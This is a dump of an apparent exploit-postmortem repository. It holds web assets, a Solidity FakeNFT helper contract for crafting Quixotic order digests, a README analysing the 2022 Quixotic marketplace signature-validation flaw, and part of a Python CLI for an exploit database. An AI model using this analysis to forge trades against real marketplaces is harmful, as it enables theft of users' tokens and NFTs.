,0,.5);border-radius:10px;left:0;top:0}.swiper-scrollbar-cursor-drag{cursor:move}.swiper-scrollbar-lock{display:none}.swiper-zoom-container{width:100%;height:100%;display:flex;justify-content:center;align-items:center;text-align:center}.swiper-zoom-container>canvas,.swiper-zoom-container>img,.swiper-zoom-container>svg{max-width:100%;max-height:100%;object-fit:contain}.swiper-slide-zoomed{cursor:move}.swiper-lazy-preloader{width:42px;height:42px;position:absolute;left:50%;top:50%;margin-left:-21px;margin-top:-21px;z-index:10;transform-origin:50%;box-sizing:border-box;border:4px solid var(--swiper-preloader-color,var(--swiper-theme-color));border-radius:50%;border-top-color:transparent}.swiper-watch-progress .swiper-slide-visible .swiper-lazy-preloader,.swiper:not(.swiper-watch-progress) .swiper-lazy-preloader{animation:swiper-preloader-spin 1s infinite linear}.swiper-lazy-preloader-white{--swiper-preloader-color:#fff}.swiper-lazy-preloader-black{--swiper-preloader-color:#000}@keyframes swiper-preloader-spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}.swiper .swiper-notification{position:absolute;left:0;top:0;pointer-events:none;opacity:0;z-index:-1000}.swiper-free-mode>.swiper-wrapper{transition-timing-function:ease-out;margin:0 auto}.swiper-grid>.swiper-wrapper{flex-wrap:wrap}.swiper-grid-column>.swiper-wrapper{flex-wrap:wrap;flex-direction:column}.swiper-fade.swiper-free-mode .swiper-slide{transition-timing-function:ease-out}.swiper-fade .swiper-slide{pointer-events:none;transition-property:opacity}.swiper-fade .swiper-slide .swiper-slide{pointer-events:none}.swiper-fade .swiper-slide-active,.swiper-fade .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-cube{overflow:visible}.swiper-cube .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1;visibility:hidden;transform-origin:0 0;width:100%;height:100%}.swiper-cube .swiper-slide .swiper-slide{pointer-events:none}.swiper-cube.swiper-rtl .swiper-slide{transform-origin:100% 0}.swiper-cube .swiper-slide-active,.swiper-cube .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-cube .swiper-slide-active,.swiper-cube .swiper-slide-next,.swiper-cube .swiper-slide-next+.swiper-slide,.swiper-cube .swiper-slide-prev{pointer-events:auto;visibility:visible}.swiper-cube .swiper-slide-shadow-bottom,.swiper-cube .swiper-slide-shadow-left,.swiper-cube .swiper-slide-shadow-right,.swiper-cube .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-cube .swiper-cube-shadow{position:absolute;left:0;bottom:0px;width:100%;height:100%;opacity:.6;z-index:0}.swiper-cube .swiper-cube-shadow:before{content:'';background:#000;position:absolute;left:0;top:0;bottom:0;right:0;filter:blur(50px)}.swiper-flip{overflow:visible}.swiper-flip .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1}.swiper-flip .swiper-slide .swiper-slide{pointer-events:none}.swiper-flip .swiper-slide-active,.swiper-flip .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-flip .swiper-slide-shadow-bottom,.swiper-flip .swiper-slide-shadow-left,.swiper-flip .swiper-slide-shadow-right,.swiper-flip .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-creative .swiper-slide{-webkit-backface-visibility:hidden;backface-visibility:hidden;overflow:hidden;transition-property:transform,opacity,height}.swiper-cards{overflow:visible}.swiper-cards .swiper-slide{transform-origin:center bottom;-webkit-backface-visibility:hidden;backface-visibility:hidden;overflow:hidden} -------------------------------------------------------------------------------- /assets/vendor/typed.js/typed.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * 3 | * typed.js - A JavaScript Typing Animation Library 4 | * Author: Matt Boldt 5 | * Version: v2.0.12 6 | * Url: https://github.com/mattboldt/typed.js 7 | * License(s): MIT 8 | * 9 | */ 10 | (function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.Typed=e():t.Typed=e()})(this,function(){return function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e,s){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(e,"__esModule",{value:!0});var i=function(){function t(t,e){for(var s=0;st.length)););var u=t.substring(0,e),l=t.substring(u.length+1,e+i),c=t.substring(e+i+1);t=u+l+c,i--}s.timeout=setTimeout(function(){s.toggleBlinking(!1),e>=t.length?s.doneTyping(t,e):s.keepTyping(t,e,i),s.temporaryPause&&(s.temporaryPause=!1,s.options.onTypingResumed(s.arrayPos,s))},n)},n))}},{key:"keepTyping",value:function(t,e,s){0===e&&(this.toggleBlinking(!1),this.options.preStringTyped(this.arrayPos,this)),e+=s;var n=t.substr(0,e);this.replaceText(n),this.typewrite(t,e)}},{key:"doneTyping",value:function(t,e){var s=this;this.options.onStringTyped(this.arrayPos,this),this.toggleBlinking(!0),this.arrayPos===this.strings.length-1&&(this.complete(),this.loop===!1||this.curLoop===this.loopCount)||(this.timeout=setTimeout(function(){s.backspace(t,e)},this.backDelay))}},{key:"backspace",value:function(t,e){var s=this;if(this.pause.status===!0)return void this.setPauseStatus(t,e,!1);if(this.fadeOut)return this.initFadeOut();this.toggleBlinking(!1);var n=this.humanizer(this.backSpeed);this.timeout=setTimeout(function(){e=o.htmlParser.backSpaceHtmlChars(t,e,s);var n=t.substr(0,e);if(s.replaceText(n),s.smartBackspace){var i=s.strings[s.arrayPos+1];i&&n===i.substr(0,e)?s.stopNum=e:s.stopNum=0}e>s.stopNum?(e--,s.backspace(t,e)):e<=s.stopNum&&(s.arrayPos++,s.arrayPos===s.strings.length?(s.arrayPos=0,s.options.onLastStringBackspaced(),s.shuffleStringsIfNeeded(),s.begin()):s.typewrite(s.strings[s.sequence[s.arrayPos]],e))},n)}},{key:"complete",value:function(){this.options.onComplete(this),this.loop?this.curLoop++:this.typingComplete=!0}},{key:"setPauseStatus",value:function(t,e,s){this.pause.typewrite=s,this.pause.curString=t,this.pause.curStrPos=e}},{key:"toggleBlinking",value:function(t){this.cursor&&(this.pause.status||this.cursorBlinking!==t&&(this.cursorBlinking=t,t?this.cursor.classList.add("typed-cursor--blink"):this.cursor.classList.remove("typed-cursor--blink")))}},{key:"humanizer",value:function(t){return Math.round(Math.random()*t/2)+t}},{key:"shuffleStringsIfNeeded",value:function(){this.shuffle&&(this.sequence=this.sequence.sort(function(){return Math.random()-.5}))}},{key:"initFadeOut",value:function(){var t=this;return this.el.className+=" "+this.fadeOutClass,this.cursor&&(this.cursor.className+=" "+this.fadeOutClass),setTimeout(function(){t.arrayPos++,t.replaceText(""),t.strings.length>t.arrayPos?t.typewrite(t.strings[t.sequence[t.arrayPos]],0):(t.typewrite(t.strings[0],0),t.arrayPos=0)},this.fadeOutDelay)}},{key:"replaceText",value:function(t){this.attr?this.el.setAttribute(this.attr,t):this.isInput?this.el.value=t:"html"===this.contentType?this.el.innerHTML=t:this.el.textContent=t}},{key:"bindFocusEvents",value:function(){var t=this;this.isInput&&(this.el.addEventListener("focus",function(e){t.stop()}),this.el.addEventListener("blur",function(e){t.el.value&&0!==t.el.value.length||t.start()}))}},{key:"insertCursor",value:function(){this.showCursor&&(this.cursor||(this.cursor=document.createElement("span"),this.cursor.className="typed-cursor",this.cursor.setAttribute("aria-hidden",!0),this.cursor.innerHTML=this.cursorChar,this.el.parentNode&&this.el.parentNode.insertBefore(this.cursor,this.el.nextSibling)))}}]),t}();e["default"]=a,t.exports=e["default"]},function(t,e,s){"use strict";function n(t){return t&&t.__esModule?t:{"default":t}}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(e,"__esModule",{value:!0});var r=Object.assign||function(t){for(var e=1;e":";";t.substr(e+1).charAt(0)!==i&&(e++,!(e+1>t.length)););e++}return e}},{key:"backSpaceHtmlChars",value:function(t,e,s){if("html"!==s.contentType)return e;var n=t.substr(e).charAt(0);if(">"===n||";"===n){var i="";for(i=">"===n?"<":"&";t.substr(e-1).charAt(0)!==i&&(e--,!(e<0)););e--}return e}}]),t}();e["default"]=i;var r=new i;e.htmlParser=r}])}); 11 | //# sourceMappingURL=typed.min.js.map 12 | -------------------------------------------------------------------------------- /contracts/Quixotic/FakeNFT.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; 3 | import "@openzeppelin/contracts/access/Ownable.sol"; 4 | import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; 5 | contract FakeNFT is Ownable, ERC721("FakeNFT", "FNFT"){ 6 | bytes32 private EIP712_DOMAIN_TYPE_HASH = keccak256("EIP712Domain(string name,string version)"); 7 | bytes32 private DOMAIN_SEPARATOR = keccak256(abi.encode(EIP712_DOMAIN_TYPE_HASH, keccak256(bytes("Quixotic")), keccak256(bytes("4")))); 8 | function MintNFT(address to, uint tokenID) external onlyOwner{ 9 | _mint(to, tokenID); 10 | } 11 | 12 | function generateSellerDigest( 13 | address payable seller, 14 | address contractAddress, 15 | uint256 tokenId, 16 | uint256 startTime, 17 | uint256 expiration, 18 | uint256 price, 19 | uint256 quantity, 20 | uint256 createdAtBlockNumber, 21 | address paymentERC20) external view returns(bytes32){ 22 | 23 | bytes32 SELLORDER_TYPEHASH = keccak256( 24 | "SellOrder(address seller,address contractAddress,uint256 tokenId,uint256 startTime,uint256 expiration,uint256 price,uint256 quantity,uint256 createdAtBlockNumber,address paymentERC20)" 25 | ); 26 | bytes32 structHash = keccak256(abi.encode( 27 | SELLORDER_TYPEHASH, 28 | seller, 29 | contractAddress, 30 | tokenId, 31 | startTime, 32 | expiration, 33 | price, 34 | quantity, 35 | createdAtBlockNumber, 36 | paymentERC20 37 | )); 38 | 39 | return ECDSA.toTypedDataHash(DOMAIN_SEPARATOR, structHash); 40 | } 41 | 42 | function generateBuyerDigest( 43 | address payable buyer, 44 | address contractAddress, 45 | uint256 tokenId, 46 | uint256 startTime, 47 | uint256 expiration, 48 | uint256 price, 49 | uint256 quantity, 50 | address paymentERC20 51 | ) external view returns(bytes32){ 52 | bytes32 BUYORDER_TYPEHASH = keccak256( 53 | "BuyOrder(address buyer,address contractAddress,uint256 tokenId,uint256 startTime,uint256 expiration,uint256 price,uint256 quantity,address paymentERC20)" 54 | ); 55 | 56 | bytes32 structHash = keccak256(abi.encode( 57 | BUYORDER_TYPEHASH, 58 | buyer, 59 | contractAddress, 60 | tokenId, 61 | startTime, 62 | expiration, 63 | price, 64 | quantity, 65 | paymentERC20 66 | )); 67 | 68 | return ECDSA.toTypedDataHash(DOMAIN_SEPARATOR, structHash); 69 | 70 | } 71 | 72 | 73 | function recover(bytes32 digest, bytes memory signature) external view returns(address){ 74 | return ECDSA.recover(digest,signature); 75 | } 76 | } -------------------------------------------------------------------------------- /contracts/Quixotic/README.md: -------------------------------------------------------------------------------- 1 | # Quixotic - Exploit Analysis 2 | 3 | [Quixotic](https://quixotic.io/) is one of the largest NFT marketplace on Optimism. On July 1 2022, a possible exploit was [reported by Apetimism](https://twitter.com/apetimism/status/1542743841735749632), which was later [confirmed by Quixotic](https://twitter.com/quixotic_io/status/1542790067130978307). [Over $100K was stolen](https://twitter.com/apetimism/status/1542746813748219905). 4 | 5 | The [ExchangeV4](https://optimistic.etherscan.io/address/0x065e8a87b8f11aed6facf9447abe5e8c5d7502b6#code) contract allows the sellers to trade their NFTs with ERC20 tokens approved by the buyers. The Sellers and Buyers have to approve their NFTs and ERC20 tokens respectively in order to allow the Exchange to trade them on the behalf of their respective owners. 6 | 7 | ### Vulnerable Components 8 | 9 | The current implementation is logically flawed as the functions `fillSellOrder`, `fillBuyOrder` & `fillDutchAuctionOrder`, only check for, either the buyer's or seller's signature to execute a trade as a consequence of which one party can complete the order without the other party's consent. 10 | 11 | ### Prerequisites 12 | * Seller and Buyer have to approve their NFTs and ERC20 tokens respectively to Exchange 13 | * The `paymentERC20` contract needs to be a registered token in the [PaymentERC20Registry](https://optimistic.etherscan.io/address/0x445e27a25606dad4321c7b97ef8350a9585a5c78#code) 14 | * The block number at which the order has been created must be greater than the block number at which the same order was cancelled before(if it was). 15 | * The buyer must be having a sufficient balance and approved a sufficent amount of tokens to the Exchange for the trade 16 | 17 | ### Key Points 18 | * Seller receives 97.5% of the target price, as 2.5% goes to _makerWallet(0xeC1557A67d4980C948cD473075293204F4D280fd) 19 | * The NFT Owner can setup a royalty `Royalty Payout Rate` anywhere between 0 to 15%, which will we sent to designated payout address defined by the owner. 20 | 21 | ### Addresses Involved 22 | * ExchangeV4: 0x065e8a87b8f11aed6facf9447abe5e8c5d7502b6 23 | * ExchangeRegistry: 0x40A863955742dD6CFc873a7D69dc85113FA8085F 24 | * PaymentERC20Registry: 0x445e27a25606dad4321c7b97ef8350a9585a5c78 25 | * CancellationRegistry: 0x522149e80BCEF74DE8592A48a4698E195c38Ad37 26 | * Attacker: 0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5 27 | * Attacker's Contract: 0xbe81eabDBD437CbA43E4c1c330C63022772C2520 28 | 29 | ### Explanation 30 | 31 | function [fillSellOrder](https://github.com/razzor-codes/Web3-Graveyard/blob/main/contracts/Quixotic/ExchangeV4.sol#L1630-L1679) first checks whether the buyer, the seller is targetting to trade the NFT has enough funds and has given enoug allowance to the Exchange. 32 | 33 | ```Solidity 34 | } else { 35 | _checkValidERC20Payment(buyer, price, paymentERC20); 36 | } 37 | ``` 38 | 39 | After which it makes sure that the order must not had cancelled as stated in the point 3 of Prerequisites 40 | 41 | ```Solidity 42 | require( 43 | cancellationRegistry.getSellOrderCancellationBlockNumber(seller, contractAddress, tokenId) < createdAtBlockNumber, 44 | "This order has been cancelled." 45 | ); 46 | ``` 47 | and then it moves to validate the signature 48 | ```Solidity 49 | function _validateSellerSignature(SellOrder memory sellOrder, bytes memory signature) internal view returns (bool) { 50 | bytes32 SELLORDER_TYPEHASH = keccak256( 51 | "SellOrder(address seller,address contractAddress,uint256 tokenId,uint256 startTime,uint256 expiration,uint256 price,uint256 quantity,uint256 createdAtBlockNumber,address paymentERC20)" 52 | ); 53 | bytes32 structHash = keccak256(abi.encode( 54 | SELLORDER_TYPEHASH, 55 | sellOrder.seller, 56 | sellOrder.contractAddress, 57 | sellOrder.tokenId, 58 | sellOrder.startTime, 59 | sellOrder.expiration, 60 | sellOrder.price, 61 | sellOrder.quantity, 62 | sellOrder.createdAtBlockNumber, 63 | sellOrder.paymentERC20 64 | )); 65 | bytes32 digest = ECDSA.toTypedDataHash(DOMAIN_SEPARATOR, structHash); 66 | address recoveredAddress = ECDSA.recover(digest, signature); 67 | return recoveredAddress == sellOrder.seller; 68 | ``` 69 | If the signature is validated and matches the seller's address. The Exchange proceeds with transferring the NFT from the seller to buyer 70 | ```Solidity 71 | _transferNFT(sellOrder.contractAddress, sellOrder.tokenId, sellOrder.seller, buyer, sellOrder.quantity); 72 | ``` 73 | 74 | and the approved funds from the buyer to the seller 75 | ```Solidity 76 | function _sendERC20PaymentsWithRoyalties( 77 | address contractAddress, 78 | address seller, 79 | address buyer, 80 | uint256 price, 81 | address paymentERC20 82 | ) internal { 83 | uint256 royaltyPayout = (royaltyRegistry.getRoyaltyPayoutRate(contractAddress) * price) / 1000; 84 | uint256 makerPayout = (_makerFeePerMille * price) / 1000; 85 | uint256 remainingPayout = price - royaltyPayout - makerPayout; 86 | if (royaltyPayout > 0) { 87 | IERC20(paymentERC20).safeTransferFrom( 88 | buyer, 89 | royaltyRegistry.getRoyaltyPayoutAddress(contractAddress), 90 | royaltyPayout 91 | ); 92 | } 93 | IERC20(paymentERC20).safeTransferFrom(buyer, _makerWallet, makerPayout); 94 | IERC20(paymentERC20).safeTransferFrom(buyer, seller, remainingPayout); 95 | } 96 | ``` 97 | 98 | The buyer's permission/signature was nowhere involved, taking advantage of which an attacker can sell any Fake NFT to the buyer at any given price, without the buyer's consent. 99 | 100 | --- 101 | 102 | Similarly function [fillBuyOrder](https://github.com/razzor-codes/Web3-Graveyard/blob/main/contracts/Quixotic/ExchangeV4.sol#L1686-L1724) only checks for the buyer's signature to execute a trade. 103 | 104 | ```Solidity 105 | function _validateBuyerSignature(BuyOrder memory buyOrder, bytes memory signature) internal view returns (bool) { 106 | bytes32 BUYORDER_TYPEHASH = keccak256( 107 | "BuyOrder(address buyer,address contractAddress,uint256 tokenId,uint256 startTime,uint256 expiration,uint256 price,uint256 quantity,address paymentERC20)" 108 | ); 109 | bytes32 structHash = keccak256(abi.encode( 110 | BUYORDER_TYPEHASH, 111 | buyOrder.buyer, 112 | buyOrder.contractAddress, 113 | buyOrder.tokenId, 114 | buyOrder.startTime, 115 | buyOrder.expiration, 116 | buyOrder.price, 117 | buyOrder.quantity, 118 | buyOrder.paymentERC20 119 | )); 120 | bytes32 digest = ECDSA.toTypedDataHash(DOMAIN_SEPARATOR, structHash); 121 | address recoveredAddress = ECDSA.recover(digest, signature); 122 | return recoveredAddress == buyOrder.buyer; 123 | } 124 | ``` 125 | which means, a buyer can buy/steal any approved NFT from the seller at any price or even at no price(as the end goal is to verify the buyer's signature, the buyer can choose any value for the price to buy the NFT at), without the seller's consent. 126 | 127 | --- 128 | 129 | Likewise, function [fillDutchAuctionOrder](https://github.com/razzor-codes/Web3-Graveyard/blob/main/contracts/Quixotic/ExchangeV4.sol#L1732-L1767) implements the same flawed logic and allows the seller to sell any NFT to buyer at any rate without the buyer's consent. 130 | 131 | ### What was missing? 132 | 133 | The contract lacks the logic to validate whether both of the parties agree on the same parameters. For instance, if the seller wants to sell an NFT for `X` amount of tokens, the buyer must have agreed to it. This can be done by verifying both the buyer's and seller's signature for the given trade. 134 | -------------------------------------------------------------------------------- /gravedigger/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fawaz404dev/Web3-Graveyard/019d2df15bf220a7f011344ab09812e2f4175662/gravedigger/__init__.py -------------------------------------------------------------------------------- /gravedigger/main.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import click 3 | import os 4 | import json 5 | import requests 6 | import subprocess 7 | from datetime import datetime 8 | 9 | 10 | def get_token(): 11 | try: 12 | with open(os.path.expanduser('~/.graveyard/creds.json'), 'rt') as creds: 13 | return json.load(creds)['github_auth'] 14 | except FileNotFoundError: 15 | return None 16 | except: 17 | return None 18 | 19 | def validate_token(token): 20 | click.echo('Validating Auth Token!') 21 | response = requests.get('https://api.github.com/user', headers={ 22 | 'Authorization': f'token {token}', 23 | }) 24 | if response.status_code != 200: 25 | click.echo(colored(255,0,0,'Invalid token \u26A0')) 26 | click.echo(f'Reason:{colored(255,0,0,response.text)}') 27 | sys.exit(0) 28 | else: 29 | click.echo(colored(0,255,0,'Validated! \u2713')) 30 | return response 31 | 32 | def fetch_database(): 33 | response = requests.get('https://api.github.com/repos/razzor-codes/Web3-Graveyard/contents/assets/exploit-database.json', headers={ 34 | 'Accept': 'application/vnd.github.raw+json', 35 | }) 36 | if response.status_code != 200: 37 | sys.exit(0) 38 | else: 39 | return json.loads(response.text) 40 | 41 | def check_existence(project_name): 42 | response = requests.get('https://api.github.com/repos/razzor-codes/Web3-Graveyard/contents/assets/exploit-database.json', headers={ 43 | 'Accept': 'application/vnd.github.raw+json', 44 | }) 45 | if response.status_code == 200: 46 | hacks = json.loads(response.text) 47 | else: 48 | click.echo(colored(255,0,0,'Failure Fetching Database \u26A0')) 49 | sys.exit(0) 50 | try: 51 | keys = list(hacks.keys()) 52 | if project_name.strip() in keys: 53 | return True 54 | else: 55 | return False 56 | except: 57 | click.echo(colored(255,0,0,'Key Error in Database \u26A0')) 58 | sys.exit(0) 59 | 60 | 61 | @click.group() 62 | @click.option('-t','--token', default=get_token(), metavar='', help='Override the saved github auth token.') 63 | @click.pass_context 64 | def cli(ctx, token): 65 | 66 | """\033[91mLets make web3 a better place \033[0m \b\n 67 | Author: \033[94m@razzor_tweet\033[0m""" 68 | 69 | ctx.ensure_object(dict) 70 | ctx.obj['token'] = token 71 | 72 | @cli.command('auth', help='Enter github authentication token') 73 | @click.argument('token') 74 | def auth(token): 75 | 76 | file_path = os.path.expanduser('~/.graveyard/creds.json') 77 | exist = os.path.exists(file_path) 78 | 79 | if not exist: 80 | os.makedirs(os.path.expanduser('~/.graveyard')) 81 | 82 | validate_token(token) 83 | 84 | with open(os.path.expanduser('~/.graveyard/creds.json'), 'wt') as creds: 85 | json.dump({ 86 | 'github_auth' : token 87 | }, creds) 88 | 89 | return click.echo(f"{colored(0,255,0,'Token Registerd at')}{file_path} \u2713") 90 | 91 | @cli.command('graveOf', help='Get Exploit Details') 92 | @click.argument('project_name') 93 | def hack(project_name): 94 | 95 | hacks = fetch_database() 96 | try: 97 | hack = hacks[project_name.strip().lower()] 98 | Date = hack['Date'] 99 | loss = hack['Estimated Loss'] 100 | attacker_addresses = hack["Attacker's Address"] 101 | attacker_contracts = hack["Attacker's Contract"] 102 | project_contracts = hack['Project Contracts'].keys() 103 | postmortems = hack['Postmortem/Analysis'] 104 | PoC = hack['PoC'] 105 | Chain = hack['Chain'] 106 | bug_type = hack['Bug Type'][0] 107 | project_type = hack['Project Type'] 108 | tags = hack['Tags'] 109 | note = hack['Note'].replace("
    ","") 110 | 111 | click.echo(colored(255,0,0, project_name.upper() + ' \u26A0')) 112 | click.echo(f'{colored(0,255,0,"Date")}: {Date}') 113 | click.echo(f'{colored(0,255,0,"Estimated Loss")}: {loss}') 114 | click.echo('Attacker(s) Addresses:') 115 | for cont in attacker_addresses: 116 | click.echo(colored(0,255,0,'\u2937 '+cont.split("'_blank'>")[1].split('<')[0])) 117 | 118 | click.echo('Attacker(s) Contracts:') 119 | for cont in attacker_contracts: 120 | click.echo(colored(0,255,0,'\u2937 '+cont.split("'_blank'>")[1].split('<')[0])) 121 | 122 | click.echo('Project Contracts:') 123 | for cont in project_contracts: 124 | address = hack['Project Contracts'][cont].split("'_blank'>")[1].split('<')[0] 125 | click.echo(f"{colored(0,255,0,cont)}: {address}") 126 | 127 | click.echo('Postmortem/Analysis:') 128 | for url in postmortems: 129 | click.echo(colored(0,255,0,'\u2937 '+url.split("href='")[1].split("' target")[0])) 130 | 131 | click.echo('PoCs:') 132 | for url in PoC: 133 | click.echo(colored(0,255,0,'\u2937 '+url.split("href='")[1].split("' target")[0])) 134 | 135 | click.echo(f'{colored(0,255,0,"Chain")}: {Chain}') 136 | click.echo(f'{colored(0,255,0,"Bug Type")}: {bug_type}') 137 | click.echo(f'{colored(0,255,0,"Project Type")}: {project_type}') 138 | click.echo(f'{colored(0,255,0,"Tags")}: {tags}') 139 | click.echo(f'{colored(0,255,0,"Note")}: {note}') 140 | 141 | except KeyError: 142 | return click.echo(colored(255,0,0,f'Project {project_name.strip()} Not Found \u26A0')) 143 | 144 | @cli.command('update', help='Update database with new hacks') 145 | @click.argument('project_name') 146 | @click.pass_context 147 | def update(ctx, project_name): 148 | token = ctx.obj['token'] 149 | 150 | click.echo(f'{project_name.strip()} already exists in database?') 151 | 152 | exists = check_existence(project_name) 153 | 154 | if exists: 155 | return click.echo(colored(255,0,0,f'Redundant Project {project_name.strip()} \u26A0')) 156 | else: 157 | click.echo(colored(0,255,0,f'{project_name.strip()} does not exist. Good to go! \u2713')) 158 | 159 | if token is None: 160 | return click.echo(colored(255,0,0,'No authentication token found. Authenticate first \u26A0')) 161 | else: 162 | response = validate_token(token) 163 | 164 | username = json.loads(response.text)['login'] 165 | 166 | click.echo('Fork Exists?') 167 | response = requests.get(f'https://api.github.com/repos/{username}/Web3-Graveyard', headers={ 168 | 'Authorization': f'token {token}', 169 | }) 170 | 171 | forkInfo = json.loads(response.text) 172 | needSync = True 173 | if response.status_code == 404: 174 | click.echo(colored(255,0,0,'No Fork Found for Web3-Graveyard. Creating one! \u26A0')) 175 | 176 | tryForking = requests.post('https://api.github.com/repos/razzor-codes/Web3-Graveyard/forks', headers={ 177 | 'Accept' : 'application/vnd.github+json', 178 | 'Authorization': f'token {token}', 179 | }) 180 | 181 | if tryForking.status_code != 202: 182 | click.echo(colored(255,0,0,'Forking Error \u26A0')) 183 | click.echo(f'Reason:{colored(255,0,0,tryForking.text)}') 184 | sys.exit(0) 185 | else: 186 | click.echo(colored(0,255,0,'Fork Created \u2713')) 187 | needSync = False 188 | 189 | elif response.status_code == 200: 190 | if forkInfo['fork'] and forkInfo['parent']['owner']['login'] == 'razzor-codes': 191 | click.echo(colored(0,255,0,'Fork Exists. Skipping Step! \u2713')) 192 | click.echo('Should Sync Fork?') 193 | postdata = '{"branch":"main"}' 194 | merge_upstream = requests.post(f'https://api.github.com/repos/{username}/Web3-Graveyard/merge-upstream', data=postdata, headers={ 195 | 'Accept' : 'application/vnd.github+json', 196 | 'Authorization': f'token {token}' 197 | }) 198 | else: 199 | return click.echo(colored(255,0,0,"Unknown fork! Delete any other forks of Web3-Graveyard and try again \u27A0")) 200 | 201 | dir_path = os.path.expanduser('~/.graveyard/Web3-Graveyard') 202 | exist = os.path.exists(dir_path) 203 | remoteBase = 'https://github.com/razzor-codes/Web3-Graveyard.git' 204 | upstream = f'upstream\t{remoteBase} (fetch)' 205 | 206 | if not exist: 207 | os.makedirs(os.path.expanduser('~/.graveyard'), exist_ok=True) 208 | subprocess.check_output(["git", "clone", f'https://{token}@github.com/{username}/Web3-Graveyard.git', os.path.expanduser('~/.graveyard/Web3-Graveyard')]) 209 | click.echo(colored(0,255,0,'Set up Local Fork \u2713')) 210 | current_dir = os.getcwd() 211 | os.chdir(dir_path) 212 | subprocess.check_output(['git', 'remote', 'add', 'upstream', remoteBase]) 213 | click.echo(colored(0,255,0,'Added upstream \u2713')) 214 | os.chdir(current_dir) 215 | 216 | 217 | git_uptodate_message = 'This branch is not behind the upstream' 218 | git_merged = 'Successfully fetched' 219 | git_merge_conflict = 'There are merge conflicts' 220 | if needSync: 221 | if merge_upstream.status_code == 200: 222 | if git_uptodate_message in merge_upstream.text: 223 | click.echo(colored(0,255,0,'Fork already synced! \u2713')) 224 | pass 225 | elif git_merged in merge_upstream.text: 226 | click.echo(colored(0,255,0,'Synced Successfully! \u2713')) 227 | click.echo("Pulling latest code!") 228 | current_dir = os.getcwd() 229 | os.chdir(dir_path) 230 | subprocess.check_output(["git","pull"]) 231 | os.chdir(current_dir) 232 | click.echo(colored(0,255,0,'Changes Saved! \u2713')) 233 | else: 234 | return click.echo(colored(255,0,0,'Problem with merge. Debug merge-stream! \u26A0')) 235 | 236 | elif merge_upstream.status_code == 409 and git_merge_conflict in merge_upstream.text: 237 | click.echo(colored(255,0,0,f'Merge Conflict \u26A0')) 238 | click.echo('Attempting Hard Reset') 239 | current_dir = os.getcwd() 240 | os.chdir(dir_path) 241 | remotes = subprocess.check_output(['git','remote','-v']).decode('UTF-8') 242 | if upstream not in remotes: 243 | subprocess.check_output(['git', 'remote', 'add', 'upstream', remoteBase]) 244 | click.echo(colored(0,255,0,'Missing Upstream. Added \u2713')) 245 | 246 | subprocess.check_output(['git', 'fetch', 'upstream']) 247 | subprocess.check_output(['git', 'checkout', 'main']) 248 | subprocess.check_output(['git', 'reset', '--hard', 'upstream/main']) 249 | subprocess.check_output(['git', 'push', 'origin', 'main', '--force']) 250 | click.echo(colored(0,255,0,'Hard Reset Completed \u2713')) 251 | os.chdir(current_dir) 252 | 253 | else: 254 | return click.echo(colored(255,0,0,f'Unknown Problem with Merge {merge_upstream.text} \u26A0')) 255 | 256 | else: 257 | click.echo(colored(0,255,0,'New Fork has been created. Skipping Sync! \u2713')) 258 | 259 | click.echo('\n Submit Details') 260 | click.echo(colored(0,255,0,' \u2937 Project Name') + f': {project_name}') 261 | Date = click.prompt(colored(0,255,0,' \u2937 Date')).strip() 262 | try: 263 | Date = datetime.strptime(Date, "%d %B %Y") 264 | except ValueError: 265 | return click.echo(colored(255,0,0,'Incorrect Date Format. Stick to %d Month %Y (7 July 2022)')) 266 | 267 | loss = click.prompt(colored(0,255,0,' \u2937 Estimated Loss')).strip() 268 | attacker_address = click.prompt(colored(0,255,0,' \u2937 Attacker(s) Addresses')).split(',') 269 | attacker_contract = click.prompt(colored(0,255,0,' \u2937 Attacker(s) Contracts')).split(',') 270 | project_contracts_names = click.prompt(colored(0,255,0,' \u2937 Project Contracts Names')).split(',') 271 | project_contracts_names = [name.strip() for name in project_contracts_names] 272 | project_contracts_addresses = [] 273 | try: 274 | for cont_name in project_contracts_names: 275 | address = click.prompt(colored(0,255,0, f'\t \u2937 {cont_name.strip()}')).strip() 276 | project_contracts_addresses.append("" + address.split('address/')[1] + "") 277 | except: 278 | return click.echo(colored(255,0,0,'Invalid Data Provided \u26A0 \nTips:\n1)Addresses must be complete url links from block explorers ')) 279 | 280 | postmortems = click.prompt(colored(0,255,0,' \u2937 Postmortems')).split(',') 281 | PoC = click.prompt(colored(0,255,0,' \u2937 PoC(s)')).split(',') 282 | Chain = click.prompt(colored(0,255,0,' \u2937 Chain')).strip() 283 | Bug_Type_Issue = click.prompt(colored(0,255,0,' \u2937 Bug Type')).strip() 284 | Bug_Type_Image = click.prompt(colored(0,255,0,' \u2937 Image URL highlighting issue')).strip() 285 | Project_Type = click.prompt(colored(0,255,0,' \u2937 Project Type')).strip() 286 | Tags = click.prompt(colored(0,255,0,' \u2937 Tags')).split(',') 287 | Tags = [tag.strip() for tag in Tags] 288 | Note = click.prompt(colored(0,255,0,' \u2937 Any Additional Note')).strip() 289 | 290 | try: 291 | with open(os.path.expanduser('~/.graveyard/Web3-Graveyard/assets/exploit-database.json'), 'rt') as file: 292 | database = json.load(file) 293 | except FileNotFoundError: 294 | return 